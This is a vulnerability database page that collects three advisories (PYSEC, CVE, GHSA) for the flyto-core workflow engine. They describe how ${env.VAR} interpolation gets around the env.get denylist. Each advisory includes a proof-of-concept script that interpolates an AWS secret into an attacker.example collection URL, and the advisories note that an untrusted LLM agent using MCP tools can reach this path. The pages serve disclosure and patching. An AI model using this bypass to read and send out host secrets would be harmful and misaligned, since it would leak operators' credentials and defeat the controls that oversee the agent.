Vulnerability-Lookup

PYSEC-2026-3570

Vulnerability from pysec - Published: 2026-08-04 11:34 - Updated: 2026-08-04 13:36

Details

Summary

The capability policy denies the env.get and env.load_dotenv modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine's variable resolver expands ${env.VAR} for any environment variable with no allowlist and no policy check, so the exact capability the denylist blocks is available to any workflow parameter. The resolved secret can then be sent out through any allowed module.

Affected code

src/core/engine/variable_resolver.py:

if var_type == 'env':
    if len(parts) < 2:
        return None
    env_var = parts[1]
    return os.getenv(env_var)      # any env var, no allowlist, not covered by module policy

The module policy (enforce_module_policy in module_policy.py) gates module execution at BaseModule.run, but ${...} interpolation happens earlier in the engine and is not subject to it. So denylisting env.get does not actually stop a workflow from reading host env secrets.

Reproduction

Save as envbypass_poc.py, run with PYTHONPATH=src/src python envbypass_poc.py.

#!/usr/bin/env python3
import os
os.environ["AWS_SECRET_ACCESS_KEY"] = "AKIA-operator-super-secret-DO-NOT-LEAK"

from core.module_policy import module_filter
from core.engine.variable_resolver import VariableResolver

print("env.get allowed?       ", module_filter.is_allowed("env.get"))
r = VariableResolver(params={}, context={})
print("resolve ${env.SECRET}: ", r.resolve("${env.AWS_SECRET_ACCESS_KEY}"))
print("into an attacker URL:  ", r.resolve("https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}"))

Output:

env.get allowed?        False
resolve ${env.SECRET}:  AKIA-operator-super-secret-DO-NOT-LEAK
into an attacker URL:   https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAK

env.get is denied, yet ${env.AWS_SECRET_ACCESS_KEY} reads the same secret and drops it straight into a URL. Confirmed through the running API too: a POST /v1/workflow/run step with text: "${env.AWS_SECRET_ACCESS_KEY}" resolved to the secret and returned it in the workflow result (in plaintext — the trace redaction did not mask it).

Reachability (why this is not operator self-service)

The vendor denies env.get by default and states the reason inline — reading arbitrary host env vars is a secret-exfil risk. That default only makes sense against an untrusted workflow/agent, which is precisely the caller here: workflow parameters and step values come from the LLM through the MCP tool surface or from a hosted-API client, not from the trusted operator. ${env.*} gives that same denied capability with no gate, so it is a direct bypass of a control the vendor deliberately turned on — not intended behavior.

Impact

Read any host environment variable — cloud keys, tokens, DSNs — that the operator relied on the env.get denylist to protect, and exfiltrate it by interpolating it into an outbound request handled by an allowed module (the SSRF guard allows the attacker's public host). Reachable via the workflow API and the MCP agent surface.

Suggested fix

Apply the same policy to ${env.*} as to the env.get module: gate it behind an explicit allowlist of permitted variable names and deny by default when env.get is denied, so engine interpolation and module execution enforce one env-access policy. Alternatively drop ${env.*} and require env values to be passed in explicitly at workflow start.

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Impacted products

Name	purl
flyto-core	pkg:pypi/flyto-core

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "flyto-core",
        "purl": "pkg:pypi/flyto-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0.0",
        "1.0.1",
        "1.0.2",
        "1.0.3",
        "1.0.4",
        "1.0.5",
        "1.0.6",
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        "1.11.0",
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        "1.16.2",
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        "1.16.4",
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    }
  ],
  "aliases": [
    "CVE-2026-67427",
    "GHSA-hr7p-wg7r-hg9m"
  ],
  "details": "## Summary\n\nThe capability policy denies the `env.get` and `env.load_dotenv` modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine\u0027s variable resolver expands `${env.VAR}` for any environment variable with no allowlist and no policy check, so the exact capability the denylist blocks is available to any workflow parameter. The resolved secret can then be sent out through any allowed module.\n\n## Affected code\n\n`src/core/engine/variable_resolver.py`:\n\n```python\nif var_type == \u0027env\u0027:\n    if len(parts) \u003c 2:\n        return None\n    env_var = parts[1]\n    return os.getenv(env_var)      # any env var, no allowlist, not covered by module policy\n```\n\nThe module policy (`enforce_module_policy` in `module_policy.py`) gates module execution at `BaseModule.run`, but `${...}` interpolation happens earlier in the engine and is not subject to it. So denylisting `env.get` does not actually stop a workflow from reading host env secrets.\n\n## Reproduction\n\nSave as `envbypass_poc.py`, run with `PYTHONPATH=src/src python envbypass_poc.py`.\n\n```python\n#!/usr/bin/env python3\nimport os\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"AKIA-operator-super-secret-DO-NOT-LEAK\"\n\nfrom core.module_policy import module_filter\nfrom core.engine.variable_resolver import VariableResolver\n\nprint(\"env.get allowed?       \", module_filter.is_allowed(\"env.get\"))\nr = VariableResolver(params={}, context={})\nprint(\"resolve ${env.SECRET}: \", r.resolve(\"${env.AWS_SECRET_ACCESS_KEY}\"))\nprint(\"into an attacker URL:  \", r.resolve(\"https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}\"))\n```\n\nOutput:\n\n```\nenv.get allowed?        False\nresolve ${env.SECRET}:  AKIA-operator-super-secret-DO-NOT-LEAK\ninto an attacker URL:   https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAK\n```\n\n`env.get` is denied, yet `${env.AWS_SECRET_ACCESS_KEY}` reads the same secret and drops it straight into a URL. Confirmed through the running API too: a `POST /v1/workflow/run` step with `text: \"${env.AWS_SECRET_ACCESS_KEY}\"` resolved to the secret and returned it in the workflow result (in plaintext \u2014 the trace redaction did not mask it).\n\n## Reachability (why this is not operator self-service)\n\nThe vendor denies `env.get` by default and states the reason inline \u2014 reading arbitrary host env vars is a secret-exfil risk. That default only makes sense against an untrusted workflow/agent, which is precisely the caller here: workflow parameters and step values come from the LLM through the MCP tool surface or from a hosted-API client, not from the trusted operator. `${env.*}` gives that same denied capability with no gate, so it is a direct bypass of a control the vendor deliberately turned on \u2014 not intended behavior.\n\n## Impact\n\nRead any host environment variable \u2014 cloud keys, tokens, DSNs \u2014 that the operator relied on the `env.get` denylist to protect, and exfiltrate it by interpolating it into an outbound request handled by an allowed module (the SSRF guard allows the attacker\u0027s public host). Reachable via the workflow API and the MCP agent surface.\n\n## Suggested fix\n\nApply the same policy to `${env.*}` as to the `env.get` module: gate it behind an explicit allowlist of permitted variable names and deny by default when `env.get` is denied, so engine interpolation and module execution enforce one env-access policy. Alternatively drop `${env.*}` and require env values to be passed in explicitly at workflow start.",
  "id": "PYSEC-2026-3570",
  "modified": "2026-08-04T13:36:18.546621Z",
  "published": "2026-08-04T11:34:45.447027Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-hr7p-wg7r-hg9m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67427"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flytohub/flyto-core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.6"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/flyto-core"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-hr7p-wg7r-hg9m"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted"
}

CVE-2026-67427 (GCVE-0-2026-67427)

Vulnerability from cvelistv5 – Published: 2026-07-29 18:45 – Updated: 2026-07-30 15:19

Title

Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted

Summary

Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, the workflow engine variable resolver expands ${env.VAR} for any host environment variable without an allowlist or capability policy check, allowing a workflow parameter to bypass the default capability policy denylist for env.get and env.load_dotenv and exfiltrate secrets through allowed modules. This issue is fixed in version 2.26.6.

Severity

8.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-30 14:15 UTC

CWE

CWE-522 - Insufficiently Protected Credentials
CWE-668 - Exposure of Resource to Wrong Sphere
CWE-693 - Protection Mechanism Failure

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7820 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/flytohub/flyto-core/security/a…	x_refsource_CONFIRM
https://github.com/flytohub/flyto-core/commit/d5f…	x_refsource_MISC
https://github.com/flytohub/flyto-core/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
flytohub	flyto-core	Affected: < 2.26.6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-67427",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-30T14:15:23.598359Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-30T15:19:17.888Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-hr7p-wg7r-hg9m"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "flyto-core",
          "vendor": "flytohub",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.26.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, the workflow engine variable resolver expands ${env.VAR} for any host environment variable without an allowlist or capability policy check, allowing a workflow parameter to bypass the default capability policy denylist for env.get and env.load_dotenv and exfiltrate secrets through allowed modules. This issue is fixed in version 2.26.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
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          "descriptions": [
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              "description": "CWE-522: Insufficiently Protected Credentials",
              "lang": "en",
              "type": "CWE"
            }
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        {
          "descriptions": [
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              "description": "CWE-668: Exposure of Resource to Wrong Sphere",
              "lang": "en",
              "type": "CWE"
            }
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        {
          "descriptions": [
            {
              "cweId": "CWE-693",
              "description": "CWE-693: Protection Mechanism Failure",
              "lang": "en",
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            }
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        "dateUpdated": "2026-07-29T18:45:47.908Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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          ],
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        },
        {
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          "tags": [
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          ],
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          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.6"
        }
      ],
      "source": {
        "advisory": "GHSA-hr7p-wg7r-hg9m",
        "discovery": "UNKNOWN"
      },
      "title": "Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-67427",
    "datePublished": "2026-07-29T18:45:47.908Z",
    "dateReserved": "2026-07-29T15:02:20.413Z",
    "dateUpdated": "2026-07-30T15:19:17.888Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-HR7P-WG7R-HG9M

Vulnerability from github – Published: 2026-07-30 14:47 – Updated: 2026-07-30 14:47

Summary

Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted

Details

Summary

Affected code

src/core/engine/variable_resolver.py:

if var_type == 'env':
    if len(parts) < 2:
        return None
    env_var = parts[1]
    return os.getenv(env_var)      # any env var, no allowlist, not covered by module policy

Reproduction

Save as envbypass_poc.py, run with PYTHONPATH=src/src python envbypass_poc.py.

#!/usr/bin/env python3
import os
os.environ["AWS_SECRET_ACCESS_KEY"] = "AKIA-operator-super-secret-DO-NOT-LEAK"

from core.module_policy import module_filter
from core.engine.variable_resolver import VariableResolver

print("env.get allowed?       ", module_filter.is_allowed("env.get"))
r = VariableResolver(params={}, context={})
print("resolve ${env.SECRET}: ", r.resolve("${env.AWS_SECRET_ACCESS_KEY}"))
print("into an attacker URL:  ", r.resolve("https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}"))

Output:

env.get allowed?        False
resolve ${env.SECRET}:  AKIA-operator-super-secret-DO-NOT-LEAK
into an attacker URL:   https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAK

Reachability (why this is not operator self-service)

Impact

Suggested fix

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "flyto-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67427"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522",
      "CWE-668",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T14:47:01Z",
    "nvd_published_at": "2026-07-29T19:16:51Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe capability policy denies the `env.get` and `env.load_dotenv` modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine\u0027s variable resolver expands `${env.VAR}` for any environment variable with no allowlist and no policy check, so the exact capability the denylist blocks is available to any workflow parameter. The resolved secret can then be sent out through any allowed module.\n\n## Affected code\n\n`src/core/engine/variable_resolver.py`:\n\n```python\nif var_type == \u0027env\u0027:\n    if len(parts) \u003c 2:\n        return None\n    env_var = parts[1]\n    return os.getenv(env_var)      # any env var, no allowlist, not covered by module policy\n```\n\nThe module policy (`enforce_module_policy` in `module_policy.py`) gates module execution at `BaseModule.run`, but `${...}` interpolation happens earlier in the engine and is not subject to it. So denylisting `env.get` does not actually stop a workflow from reading host env secrets.\n\n## Reproduction\n\nSave as `envbypass_poc.py`, run with `PYTHONPATH=src/src python envbypass_poc.py`.\n\n```python\n#!/usr/bin/env python3\nimport os\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"AKIA-operator-super-secret-DO-NOT-LEAK\"\n\nfrom core.module_policy import module_filter\nfrom core.engine.variable_resolver import VariableResolver\n\nprint(\"env.get allowed?       \", module_filter.is_allowed(\"env.get\"))\nr = VariableResolver(params={}, context={})\nprint(\"resolve ${env.SECRET}: \", r.resolve(\"${env.AWS_SECRET_ACCESS_KEY}\"))\nprint(\"into an attacker URL:  \", r.resolve(\"https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}\"))\n```\n\nOutput:\n\n```\nenv.get allowed?        False\nresolve ${env.SECRET}:  AKIA-operator-super-secret-DO-NOT-LEAK\ninto an attacker URL:   https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAK\n```\n\n`env.get` is denied, yet `${env.AWS_SECRET_ACCESS_KEY}` reads the same secret and drops it straight into a URL. Confirmed through the running API too: a `POST /v1/workflow/run` step with `text: \"${env.AWS_SECRET_ACCESS_KEY}\"` resolved to the secret and returned it in the workflow result (in plaintext \u2014 the trace redaction did not mask it).\n\n## Reachability (why this is not operator self-service)\n\nThe vendor denies `env.get` by default and states the reason inline \u2014 reading arbitrary host env vars is a secret-exfil risk. That default only makes sense against an untrusted workflow/agent, which is precisely the caller here: workflow parameters and step values come from the LLM through the MCP tool surface or from a hosted-API client, not from the trusted operator. `${env.*}` gives that same denied capability with no gate, so it is a direct bypass of a control the vendor deliberately turned on \u2014 not intended behavior.\n\n## Impact\n\nRead any host environment variable \u2014 cloud keys, tokens, DSNs \u2014 that the operator relied on the `env.get` denylist to protect, and exfiltrate it by interpolating it into an outbound request handled by an allowed module (the SSRF guard allows the attacker\u0027s public host). Reachable via the workflow API and the MCP agent surface.\n\n## Suggested fix\n\nApply the same policy to `${env.*}` as to the `env.get` module: gate it behind an explicit allowlist of permitted variable names and deny by default when `env.get` is denied, so engine interpolation and module execution enforce one env-access policy. Alternatively drop `${env.*}` and require env values to be passed in explicitly at workflow start.",
  "id": "GHSA-hr7p-wg7r-hg9m",
  "modified": "2026-07-30T14:47:01Z",
  "published": "2026-07-30T14:47:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-hr7p-wg7r-hg9m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67427"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flytohub/flyto-core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted"
}

Sightings

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PYSEC-2026-3570

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CVE-2026-67427 (GCVE-0-2026-67427)

GHSA-HR7P-WG7R-HG9M

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